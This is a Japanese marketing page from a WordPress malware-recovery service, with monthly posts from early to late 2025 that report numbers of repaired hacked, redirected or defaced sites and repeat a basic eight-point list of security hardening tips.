![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年1月」実績43件](https://wp-r.com/wprescue/202501/)

**Published:** 2月 2, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 大規模な場合は、支援プランもございます。

マルウェアに感染したWordPressの数が多い場合は、ディスカウントはもちろんございます。制作会社様やお客様と共にワードプレスの復旧やマルウェアに対応するものです。サーバーが丸ごと感染しまった場合などの復旧ノウハウが豊富にございます。ワードプレスのマルウェアの復旧はお正月も対応させていただきました。ご依頼ありがとうございました。

\[blog\_parts id=4803 title=WordPresマルウェア支援プランとは？ \]

## 「マルウェアもマルウェア以外も！」復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

マルウェア以外のワードプレスのトラブル復旧についても、お受けしております。ワードプレス専門トラブル専門サービスですので、ぜひともご相談ください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容全て対応！

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年2月」実績19件](https://wp-r.com/wprescue/202502/)

**Published:** 3月 1, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 2025年2月のワードプレス復旧実績 – 安心と信頼の専門対応

2025年2月、**弊社では19件のワードプレスのマルウェア感染、サイト改ざん、乗っ取り被害の復旧を実施**しました。また、無料相談の範囲内で解決した復旧案件は5件あり、多くのお客様に安心をお届けしています。

ワードプレスの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブルは、放置すれば被害が拡大し、SEO評価の低下や信頼の損失につながる可能性があります。弊社はこれらの問題を迅速かつ確実に対応し、ただ復旧するだけでなく、再発防止策の提案やセキュリティ強化までしっかりサポートいたします。

さらに、弊社の強みは「本物の専門家による対応」です。表面的な修復ではなく、**ワードプレスとセキュリティの深い知識と経験を持つプロフェッショナル**が、お客様の大切なサイトを徹底的に守ります。

**ワードプレスのトラブルでお困りの際は、まずはご相談ください。**
経験豊富な専門チームが、迅速・確実に対応し、安心できるワードプレスの環境をご提供いたします。

## 「マルウェアもマルウェア以外も！」復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

マルウェア以外のワードプレスのトラブル復旧についても、お受けしております。ワードプレス専門トラブル専門サービスですので、ぜひともご相談ください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容全て対応！

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年3月」実績合計29件](https://wp-r.com/wprescue/2025003/)

**Published:** 4月 3, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 2025年3月のワードプレス復旧実績 – 安心と信頼の専門対応

2025年3月、**弊社では29件のワードプレスのマルウェア感染、サイト改ざん、乗っ取り被害の復旧を実施**しました。また、無料相談の範囲内で解決した復旧案件は2件あり、多くのお客様に安心をお届けしています。

## 毎日のようにご依頼をいただいております。

ワードプレスの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

**ワードプレスのトラブルでお困りの際は、まずはご相談ください。**
経験豊富な専門チームが、迅速・確実に対応し、安心できるワードプレスの環境をご提供いたします。

## 「マルウェアもマルウェア以外も！」復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

マルウェア以外のワードプレスのトラブル復旧についても、お受けしております。ワードプレス専門トラブル専門サービスですので、ぜひともご相談ください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年4月」実績合計20件](https://wp-r.com/wprescue/20250504/)

**Published:** 5月 7, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 2025年4月のWordPress復旧実績 – 安心と信頼の専門対応

2025年4月、**弊社では29件のワードプレスのマルウェア感染、サイト改ざん、乗っ取り被害の復旧を実施**しました。また、無料相談の範囲内で解決した復旧案件は5件（ほど）あり、多くのお客様に安心をお届けしています。

## 毎日のようにご依頼やご相談をいただいております。

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

**ワードプレスのトラブルでお困りの際は、まずはご相談ください。**
経験豊富な専門チームが、迅速・確実に対応し、安心できるワードプレスの環境をご提供いたします。

## 「マルウェアもマルウェア以外も！」復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

マルウェア以外のワードプレスのトラブル復旧についても、お受けしております。ワードプレス専門トラブル専門サービスですので、ぜひともご相談ください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年5月」実績合計25件](https://wp-r.com/wprescue/20250705/)

**Published:** 6月 5, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 2025年5月のWordPress復旧実績ご報告

マルウェア感染、乗っ取り、エラー画面──WordPress専門だからこそできる迅速対応。
2025年5月も、企業サイトや個人ブログ、ネットショップなどから多くの**ワードプレス・WordPress復旧**のご依頼をいただきました。トラブルの内容は多岐にわたり、早期復旧と徹底した再発防止策で、全件無事に対応を完了しています。

✅ **マルウェア感染**による改ざん・リダイレクトの除去

✅ **管理画面への不正アクセス**・権限乗っ取りの対応

✅ **WordPress更新エラー**でサイトが真っ白になった事例の復旧

✅ **検索順位の急落**とGoogle警告（「このサイトは危険です」）への対応

✅ **.htaccessファイルやindex.phpの改ざん**修復

✅ **ウイルス混入によるJavaScriptの自動挿入**の完全除去

✅ **PHPバージョン不一致による動作不良**の最適化

✅ **データベース接続エラー**やサーバー移行ミスの調整と復旧

✅ **不要プラグイン・テーマ由来の脆弱性診断**と削除対応

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## 「マルウェアもマルウェア以外も！」復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

🔧 復旧だけで終わらない。再発防止までセットで対応

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年6月」実績合計29件](https://wp-r.com/wprescue/202506/)

**Published:** 7月 11, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 2025年6月のWordPress復旧実績ご報告

**マルウェア感染**、**サイト乗っ取り**、**エラー画面**でお困りではありませんか？WordPressマルウェア復旧の専門家が、24時間体制で迅速対応いたします。

2025年6月も、企業サイトや個人ブログ、ECサイト・ネットショップから多数の**WordPress復旧**のご依頼をいただきました。**マルウェア除去**から**データ復旧**まで、トラブルの内容は多岐にわたりますが、早期復旧と徹底した再発防止策により、全件無事に対応を完了しています。

✅ **マルウェア感染**による改ざん・リダイレクトの除去

✅ 不正なリダイレクトによるフィッシングサイト誘導

✅ **管理画面への不正アクセス**・権限乗っ取りの対応

✅ **WordPress更新エラー**でサイトが真っ白になった事例の復旧

✅ **検索順位の急落**とGoogle警告（「このサイトは危険です」）への対応

✅ **.htaccessファイルやindex.phpの改ざん**修復

✅ **ウイルス混入によるJavaScriptの自動挿入**の完全除去

✅ **データベース接続エラー**やサーバー移行ミスの調整と復旧

✅ **不要プラグイン・テーマ由来の脆弱性診断**と削除対応

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## 「マルウェアもマルウェア以外も！」復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

🔧 復旧だけで終わらない。再発防止までセットで対応

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

\[blog\_parts id=4365 title=PRICE \]

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年7月」実績合計28件。相談のみ2件](https://wp-r.com/wprescue/202507/)

**Published:** 8月 4, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 2025年6月のWordPress復旧実績ご報告

サイトが改ざんされ、怪しいリダイレクトが発生している
管理画面に入れない、権限を乗っ取られた
画面が真っ白で操作できない
Googleから「このサイトは危険です」と警告を受けた
👉 放置すると 売上・信用・検索順位を一瞬で失う危険 があります。

## WordPressマルウェア復旧の専門家が即解決！

私たちはWordPressセキュリティに特化した復旧チーム。
**24時間365日体制**で、あらゆるマルウェアトラブルに対応します。
企業サイト・ECショップ・個人ブログまで、数多くの復旧依頼を受け、**全件確実に復旧完了＆再発防止までサポート**しています。

✅ マルウェア感染による改ざん・リダイレクトの除去
✅ 不正リダイレクトによるフィッシングサイト誘導の解消
✅ 管理画面への不正アクセス・権限乗っ取り対応
✅ WordPress更新エラーで真っ白画面になった事例の復旧
✅ 検索順位急落・Google警告（「このサイトは危険です」）への対応
✅ `.htaccess` や `index.php` の改ざん修復
✅ ウイルス混入によるJavaScript自動挿入の完全除去
✅ データベース接続エラーやサーバー移行トラブルの復旧
✅ 不要プラグイン・テーマ由来の脆弱性診断と削除

## ワードプレス復旧の事例から見えた傾向

WordPressの**マルウェア感染、乗っ取り、改ざん**といったセキュリティトラブを始め、一般的なワードプレスのエラーや虎物についても、毎日のようにご依頼やご相談をお受けしております。スタッフ一同誠心誠意対応をさせていただいております。

海外IPアドレスからの攻撃が増加（自動スクリプト型が多数）

無料テーマや古いプラグインの脆弱性を突いた被害が多い

自力での復旧によりデータを失った状態で相談されるケースが増加

## ⚡ 復旧だけじゃない！徹底した再発防止

復旧後も安心してサイトを運用できるよう、
**脆弱性診断・セキュリティ強化・定期チェック**までフルサポートします。

🔍 AIでは検出できない手動マルウェア診断・除去に対応

📈 検索順位やサイト評価の維持を意識した修復作業

🔒 WAF導入・バックアップ体制・不要ファイル削除も対応

💬 技術者と直接やりとりできる安心感とスピード感

## 📞 今すぐご相談ください

緊急のマルウェア感染も、突発的なエラーも、最短即日対応可能。
**あなたの大切なWordPressサイトを、安全かつスピーディーに復旧いたします。**

## 復旧後のアフターフォローも無料で対応中

復旧後もご不安な方へ、**ZOOM・Google Meetによるオンライン相談**を無料で実施中です。
「同じ被害に遭わないためにどうすればいいか」「今の運用体制で問題はないか」など、どんなことでもご相談ください。

\[blog\_parts id=4365 title=PRICE \]

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績と実例です。「2025年8月と9月」実績合計56件。相談のみで解決：多数](https://wp-r.com/malware/20250809/)

**Published:** 10月 20, 2025
**Author:** ワードプレスレスキュー

**Content:**

## **2025年8月・9月度 WordPress緊急復旧対応実績**

この2ヶ月間にご依頼いただいた案件は、**すべてマルウェア被害**によるものでした。マルウェア関連が弊社は、一番得意としており、誠心誠意、スピーディーに対応します。

### 主な被害内容

- サイト改ざん・不正なリダイレクトの発生
- 管理画面へのアクセス不能・権限乗っ取り
- Google セーフブラウジングによる警告表示
- Googleの検索が通販サイトに入れ替わっている
